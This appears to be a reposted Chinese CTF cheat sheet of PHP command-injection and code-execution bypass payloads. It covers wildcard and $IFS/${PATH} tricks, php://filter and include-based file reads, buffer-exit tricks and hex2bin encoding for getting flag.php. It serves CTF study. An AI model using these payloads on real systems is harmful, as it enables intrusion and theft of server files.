?c=/bin/?at${IFS}f???????	因為cat是在/bin/目錄下,這里相當於是執行cat命令,可以在虛擬機中嘗試

無字母
?c=/bin/base64 flag.php(flag.php全靠猜)  即?c=/???/????64 ????.???
?c=/bin/bzip2 flag.php 即?c=/???/????2 ????.???
還有一招上傳文件,post    /?c=.%20/???/????????[@-[]	.和source相同,是編譯文件

禁函數
rename()
post c=show_source('flag.php');  
post c=echo file_get_contents('flag.php');
post c=include($_GET['1']);     ?1=php://filter/convert.base64-encode/resource=flag.php
post c=highlight_file('flag.php');
post c=include('flag.php');echo $flag;
post c=include('flag.php');var_dump(get_defined_vars());
post c=include(scandir('./')[2]);var_dump(get_defined_vars());	有些時候sandir('\')[2]會報錯
post c=print_r(scandir('./'));	var_dump		var_export
post c=include('/flag.txt');

緩沖區繞過
post c=include('/flag.txt');exit();

${PATH:~A}${PWD:~A} fla?.php		${PATH}路徑,~A,取最后一位的前一位
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???	${SHLVL}永遠都是1
${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???		${##} ${#?}

在補充一個轉碼繞過的方式

<?php
echo base_convert(37907361743,10,36);
echo "\n";
echo "代碼中上面的執行結果是hex2bin";
echo "\n";
echo base_convert(37907361743,10,36)((dechex(1598506324)));
echo "\n";
echo hex2bin(dechex(1598506324));
?>

如果有寫得不對的地方,請師傅們斧正,感謝賞光~


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM